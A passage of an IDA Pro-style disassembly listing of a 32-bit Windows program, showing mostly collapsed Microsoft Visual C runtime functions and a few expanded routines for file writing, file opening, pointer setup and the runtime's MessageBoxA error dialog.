FUNCTION $LN29. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION $LN18_4. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___DestructExceptionObject. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- $LN14_5: xor eax, eax cmp [ebp+0Ch], al setnz al $LN12_4: retn ; --------------------------------------------------------------------------- $LN9_3: mov esp, [ebp-18h] jmp ?terminate@@YAXXZ ; terminate(void) ; [00000025 BYTES: COLLAPSED FUNCTION ___AdjustPointer. PRESS KEYPAD "+" TO EXPAND] ; [00000079 BYTES: COLLAPSED FUNCTION IsInExceptionSpec(EHExceptionRecord *,_s_ESTypeList const *). PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION unknown_libname_101. PRESS KEYPAD "+" TO EXPAND] db 83h ; ƒ db 4Dh ; M db 0FCh ; ü db 0FFh db 0E9h ; é db 74h ; t db 9 db 0 db 0 ; [00000018 BYTES: COLLAPSED FUNCTION unknown_libname_102. PRESS KEYPAD "+" TO EXPAND] ; [0000011B BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION $LN27_2. PRESS KEYPAD "+" TO EXPAND] ; [00000076 BYTES: COLLAPSED FUNCTION $LN16_3. PRESS KEYPAD "+" TO EXPAND] ; [0000017F BYTES: COLLAPSED FUNCTION ___BuildCatchObjectHelper. PRESS KEYPAD "+" TO EXPAND] ; [00000085 BYTES: COLLAPSED FUNCTION ___BuildCatchObject. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- $LN19_5: xor eax, eax inc eax $LN17_2: retn ; --------------------------------------------------------------------------- $LN14_6: mov esp, [ebp-18h] jmp ?terminate@@YAXXZ ; terminate(void) ; [0000006C BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND] ; [000000F2 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000356 BYTES: COLLAPSED FUNCTION unknown_libname_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_108: ; Microsoft VisualC 2-8/net runtime push esi push dword ptr [esp+8] mov esi, ecx call ??0exception@std@@QAE@ABV01@@Z ; std::exception::exception(exception::exception const &) mov dword ptr [esi], offset off_41DC24 mov eax, esi pop esi retn 4 ; [000000E4 BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- $LN12_5: xor eax, eax inc eax $LN10_3: retn ; --------------------------------------------------------------------------- $LN7_1: mov esp, [ebp-18h] ; [00000012 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION unexpected(void). PRESS KEYPAD "+" TO EXPAND] ; [00000037 BYTES: COLLAPSED FUNCTION _inconsistency(void). PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __initp_eh_hooks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_109. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __freea. PRESS KEYPAD "+" TO EXPAND] ; [000003A2 BYTES: COLLAPSED FUNCTION unknown_libname_111. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [000001B8 BYTES: COLLAPSED FUNCTION __crtGetStringTypeA_stat(localeinfo_struct *,ulong,char const *,int,ushort *,int,int,int). PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [00000190 BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION ___free_lconv_num. PRESS KEYPAD "+" TO EXPAND] ; [00000089 BYTES: COLLAPSED FUNCTION ___free_lconv_mon. PRESS KEYPAD "+" TO EXPAND] ; [00000071 BYTES: COLLAPSED FUNCTION _strcat_s. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000046 BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND] ; [000000B3 BYTES: COLLAPSED FUNCTION _strncpy_s. PRESS KEYPAD "+" TO EXPAND] ; [000000BE BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000040 BYTES: COLLAPSED FUNCTION _strpbrk. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __isleadbyte_l. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION _isleadbyte. PRESS KEYPAD "+" TO EXPAND] ; [000000B6 BYTES: COLLAPSED FUNCTION __isctype_l. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40CAFA proc near ; CODE XREF: __init_pointers+Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_42641C, eax retn sub_40CAFA endp ; [00000010 BYTES: COLLAPSED FUNCTION __crtInitCritSecNoSpinCount(x,x). PRESS KEYPAD "+" TO EXPAND] ; [000000C5 BYTES: COLLAPSED FUNCTION ___crtInitCritSecAndSpinCount. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __ValidateImageBase. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION __FindPESection. PRESS KEYPAD "+" TO EXPAND] ; [0000006C BYTES: COLLAPSED FUNCTION __IsNonwritableInCurrentImage. PRESS KEYPAD "+" TO EXPAND] ; [00000083 BYTES: COLLAPSED FUNCTION __lseeki64_nolock. PRESS KEYPAD "+" TO EXPAND] ; [0000010F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN14_7. PRESS KEYPAD "+" TO EXPAND] ; [000005C6 BYTES: COLLAPSED FUNCTION __write_nolock. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: __flsbuf+CBp ; __flsbuf+13Ap ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_4217C0 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40D44F call ___doserrno and dword ptr [eax], 0 call __errno mov dword ptr [eax], 9 loc_40D447: ; CODE XREF: sub_40D420+5Cj or eax, 0FFFFFFFFh jmp loc_40D4EC ; --------------------------------------------------------------------------- loc_40D44F: ; CODE XREF: sub_40D420+12j xor edi, edi cmp eax, edi jl short loc_40D45D cmp eax, dword_433C84 jb short loc_40D47E loc_40D45D: ; CODE XREF: sub_40D420+33j ; sub_40D420+7Cj call ___doserrno mov [eax], edi call __errno mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call __invalid_parameter add esp, 14h jmp short loc_40D447 ; --------------------------------------------------------------------------- loc_40D47E: ; CODE XREF: sub_40D420+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:433CA0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_40D45D push eax call ___lock_fhandle pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_40D4C7 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call __write_nolock add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_40D4DD ; --------------------------------------------------------------------------- loc_40D4C7: ; CODE XREF: sub_40D420+8Fj call __errno mov dword ptr [eax], 9 call ___doserrno mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_40D4DD: ; CODE XREF: sub_40D420+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40D4F2 mov eax, [ebp+var_1C] loc_40D4EC: ; CODE XREF: sub_40D420+2Aj call __SEH_epilog4 retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= sub_40D4F2 proc near ; CODE XREF: sub_40D420+C4p ; DATA XREF: .rdata:004217D8o push dword ptr [ebp+8] call __unlock_fhandle pop ecx retn sub_40D4F2 endp ; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] ; [0000001F BYTES: COLLAPSED FUNCTION __initp_misc_cfltcvt_tab. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __get_printf_count_output. PRESS KEYPAD "+" TO EXPAND] ; [0000015F BYTES: COLLAPSED FUNCTION __wctomb_s_l. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _wctomb_s. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000095 BYTES: COLLAPSED FUNCTION __aulldvrm. PRESS KEYPAD "+" TO EXPAND] ; [00000087 BYTES: COLLAPSED FUNCTION _fastcopy_I. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION unknown_libname_114. PRESS KEYPAD "+" TO EXPAND] ; [000000F7 BYTES: COLLAPSED FUNCTION __calloc_impl. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION $LN37_0. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN24_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION __calloc_impl. PRESS KEYPAD "+" TO EXPAND] ; [0000013E BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION $LN66. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [000000CE BYTES: COLLAPSED CHUNK OF FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000047 BYTES: COLLAPSED FUNCTION __recalloc. PRESS KEYPAD "+" TO EXPAND] ; [00000019 BYTES: COLLAPSED FUNCTION __initp_misc_winsig. PRESS KEYPAD "+" TO EXPAND] ; [00000034 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40DD1C proc near ; CODE XREF: _abort:loc_4101EAp push dword_42642C call __decode_pointer pop ecx retn sub_40DD1C endp ; [0000016E BYTES: COLLAPSED FUNCTION unknown_libname_119. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION unknown_libname_123. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION unknown_libname_124. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION sub_40DEAC. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_119. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_126. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40DEE3 proc near ; CODE XREF: __init_pointers+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_426444, eax retn sub_40DEE3 endp ; [00000057 BYTES: COLLAPSED FUNCTION _fastzero_I. PRESS KEYPAD "+" TO EXPAND] ; [0000008F BYTES: COLLAPSED FUNCTION unknown_libname_127. PRESS KEYPAD "+" TO EXPAND] ; [00000096 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN13_11. PRESS KEYPAD "+" TO EXPAND] ; [0000063E BYTES: COLLAPSED FUNCTION __tsopen_nolock. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6B0 proc near ; CODE XREF: sub_40E77C+14p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 14h push offset dword_421860 call __SEH_prolog4 xor esi, esi mov [ebp+var_1C], esi xor eax, eax mov edi, [ebp+arg_10] cmp edi, esi setnz al cmp eax, esi jnz short loc_40E6EA loc_40E6CF: ; CODE XREF: sub_40E6B0+47j ; sub_40E6B0+5Bj call __errno push 16h pop edi mov [eax], edi push esi push esi push esi push esi push esi call __invalid_parameter add esp, 14h mov eax, edi jmp short loc_40E743 ; --------------------------------------------------------------------------- loc_40E6EA: ; CODE XREF: sub_40E6B0+1Dj or dword ptr [edi], 0FFFFFFFFh xor eax, eax cmp [ebp+arg_0], esi setnz al cmp eax, esi jz short loc_40E6CF cmp [ebp+arg_14], esi jz short loc_40E70D mov eax, [ebp+arg_C] and eax, 0FFFFFE7Fh neg eax sbb eax, eax inc eax jz short loc_40E6CF loc_40E70D: ; CODE XREF: sub_40E6B0+4Cj mov [ebp+ms_exc.disabled], esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_1C] push eax mov eax, edi call __tsopen_nolock add esp, 14h mov [ebp+var_20], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40E74E mov eax, [ebp+var_20] cmp eax, esi jz short loc_40E743 or dword ptr [edi], 0FFFFFFFFh loc_40E743: ; CODE XREF: sub_40E6B0+38j ; sub_40E6B0+8Ej call __SEH_epilog4 retn sub_40E6B0 endp ; =============== S U B R O U T I N E ======================================= sub_40E749 proc near ; DATA XREF: .rdata:00421878o xor esi, esi mov edi, [ebp+18h] sub_40E749 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E74E proc near ; CODE XREF: sub_40E6B0+84p cmp [ebp-1Ch], esi jz short locret_40E77B cmp [ebp-20h], esi jz short loc_40E773 mov eax, [edi] mov ecx, eax sar ecx, 5 and eax, 1Fh imul eax, 28h mov ecx, dword_433CA0[ecx*4] lea eax, [ecx+eax+4] and byte ptr [eax], 0FEh loc_40E773: ; CODE XREF: sub_40E74E+8j push dword ptr [edi] call __unlock_fhandle pop ecx locret_40E77B: ; CODE XREF: sub_40E74E+3j retn sub_40E74E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E77C proc near ; CODE XREF: __openfile+26Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 1 push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_40E6B0 add esp, 18h pop ebp retn sub_40E77C endp ; [0000021A BYTES: COLLAPSED FUNCTION __mbsicmp_l. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION __mbsicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000169 BYTES: COLLAPSED FUNCTION unknown_libname_131. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40EB30(char *,char *,size_t) sub_40EB30 proc near ; CODE XREF: __openfile+1D1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 ; int push [esp+4+arg_8] ; size_t push [esp+8+arg_4] ; char * push [esp+0Ch+arg_0] ; char * call unknown_libname_131 ; Microsoft VisualC 2-8/net runtime add esp, 10h retn sub_40EB30 endp ; --------------------------------------------------------------------------- align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000084 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [0000001F BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION __NLG_Call. PRESS KEYPAD "+" TO EXPAND] ; [0000007D BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000081 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000071 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000092 BYTES: COLLAPSED FUNCTION ___lock_fhandle. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION $LN14_9. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN11_4. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unlock_fhandle. PRESS KEYPAD "+" TO EXPAND] ; [000000CD BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED FUNCTION $LN48_0. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [000000BA BYTES: COLLAPSED CHUNK OF FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN31_0. PRESS KEYPAD "+" TO EXPAND] ; [000000D7 BYTES: COLLAPSED FUNCTION __commit. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN16_4. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION __isdigit_l. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION __isxdigit_l. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION __isspace_l. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] ; [0000011E BYTES: COLLAPSED FUNCTION __ungetc_nolock. PRESS KEYPAD "+" TO EXPAND] ; [00000113 BYTES: COLLAPSED FUNCTION __mbtowc_l. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F524 proc near ; CODE XREF: __NMSG_WRITE+15Dp var_30 = dword ptr -30h var_20 = byte ptr -20h var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call __encoded_null xor ebx, ebx cmp dword_426488, ebx mov [ebp+var_10], eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx mov [ebp+var_C], ebx jnz loc_40F5F9 push offset aUser32_dll ; "USER32.DLL" call ds:dword_41D0E8 ; LoadLibraryA mov edi, eax cmp edi, ebx jnz short loc_40F564 loc_40F55D: ; CODE XREF: sub_40F524+50j xor eax, eax jmp loc_40F6BD ; --------------------------------------------------------------------------- loc_40F564: ; CODE XREF: sub_40F524+37j mov esi, ds:dword_41D0EC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress cmp eax, ebx jz short loc_40F55D push eax call __encode_pointer mov [esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow" push edi mov dword_426488, eax call esi ; GetProcAddress push eax call __encode_pointer mov [esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_42648C, eax call esi ; GetProcAddress push eax call __encode_pointer mov dword_426490, eax lea eax, [ebp+var_8] push eax call sub_407906 test eax, eax pop ecx pop ecx jz short loc_40F5C7 push ebx push ebx push ebx push ebx push ebx call __invoke_watson add esp, 14h loc_40F5C7: ; CODE XREF: sub_40F524+94j cmp [ebp+var_8], 2 jnz short loc_40F5F9 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress push eax call __encode_pointer cmp eax, ebx pop ecx mov dword_426498, eax jz short loc_40F5F9 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress push eax call __encode_pointer pop ecx mov dword_426494, eax loc_40F5F9: ; CODE XREF: sub_40F524+22j ; sub_40F524+A7j ... mov eax, dword_426494 mov esi, [ebp+var_10] cmp eax, esi jz short loc_40F672 cmp dword_426498, esi jz short loc_40F672 push eax call __decode_pointer pop ecx call eax cmp eax, ebx jz short loc_40F63F lea ecx, [ebp+var_14] push ecx push 0Ch lea ecx, [ebp+var_20] push ecx push 1 push eax push dword_426498 call __decode_pointer pop ecx call eax test eax, eax jz short loc_40F63F test [ebp+var_18], 1 jnz short loc_40F672 loc_40F63F: ; CODE XREF: sub_40F524+F4j ; sub_40F524+113j lea eax, [ebp+var_C] push eax call sub_40793D test eax, eax pop ecx jz short loc_40F65A push ebx push ebx push ebx push ebx push ebx call __invoke_watson add esp, 14h loc_40F65A: ; CODE XREF: sub_40F524+127j cmp [ebp+var_C], 4 jb short loc_40F669 or [ebp+arg_8], 200000h jmp short loc_40F6A3 ; --------------------------------------------------------------------------- loc_40F669: ; CODE XREF: sub_40F524+13Aj or [ebp+arg_8], 40000h jmp short loc_40F6A3 ; --------------------------------------------------------------------------- loc_40F672: ; CODE XREF: sub_40F524+DFj ; sub_40F524+E7j ... mov eax, dword_42648C cmp eax, esi jz short loc_40F6A3 push eax call __decode_pointer pop ecx call eax cmp eax, ebx mov [ebp+var_4], eax jz short loc_40F6A3 mov eax, dword_426490 cmp eax, esi jz short loc_40F6A3 push [ebp+var_4] push eax call __decode_pointer pop ecx call eax mov [ebp+var_4], eax loc_40F6A3: ; CODE XREF: sub_40F524+143j ; sub_40F524+14Cj ... push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_4] push dword_426488 call __decode_pointer pop ecx call eax loc_40F6BD: ; CODE XREF: sub_40F524+3Bj pop edi pop esi pop ebx leave retn sub_40F524 endp ; [00000046 BYTES: COLLAPSED FUNCTION __set_error_mode. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40F708 proc near ; CODE XREF: __umatherr+5Fp ; DATA XREF: ___libm_error_support:loc_40A46Do xor eax, eax retn sub_40F708 endp ; [00000060 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION _has_osfxsr_set. PRESS KEYPAD "+" TO EXPAND] ; [00000060 BYTES: COLLAPSED FUNCTION unknown_libname_133. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40F839 proc near ; DATA XREF: .rdata:0041D2D0o call unknown_libname_133 ; Microsoft VisualC 2-8/net runtime mov dword_433C7C, eax xor eax, eax retn sub_40F839 endp ; [000002DA BYTES: COLLAPSED FUNCTION __raise_exc_ex. PRESS KEYPAD "+" TO EXPAND] ; [000001E1 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION unknown_libname_135. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] ; [0000009E BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] ; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] ; [000000BA BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] ; [0000002A BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] ; [000000AF BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] ; [00000072 BYTES: COLLAPSED FUNCTION ___set_fpsr_sse2. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION x_ismbbtype_l(localeinfo_struct *,uint,int,int). PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_136. PRESS KEYPAD "+" TO EXPAND] ; [000000F2 BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND] $LN6_1 db 0CCh ; [00000047 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001B2 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000016 BYTES: COLLAPSED FUNCTION __alloca_probe_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __alloca_probe_8: push ecx lea ecx, [esp+8] sub ecx, eax and ecx, 7 add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp __alloca_probe ; [000000C2 BYTES: COLLAPSED FUNCTION __putwch_nolock. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 2 call __amsg_exit pop ecx retn ; [000001B4 BYTES: COLLAPSED FUNCTION __chsize_nolock. PRESS KEYPAD "+" TO EXPAND] ; [00000072 BYTES: COLLAPSED FUNCTION __lseek_nolock. PRESS KEYPAD "+" TO EXPAND] ; [000000BC BYTES: COLLAPSED FUNCTION __setmode_nolock. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_410889 proc near ; CODE XREF: __tsopen_nolock+40p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_4108B1 call __errno push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call __invalid_parameter add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4108B1: ; CODE XREF: sub_410889+9j mov ecx, dword_426560 mov [eax], ecx xor eax, eax pop esi retn sub_410889 endp ; [00000071 BYTES: COLLAPSED FUNCTION __forcdecpt_l. PRESS KEYPAD "+" TO EXPAND] ; [00000080 BYTES: COLLAPSED FUNCTION __cropzeros_l. PRESS KEYPAD "+" TO EXPAND] __positive dw 0EED9h ; DATA XREF: __cfltcvt_init+28o ; .data:off_423F90o dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h ; [00000040 BYTES: COLLAPSED FUNCTION __fassign_l. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" 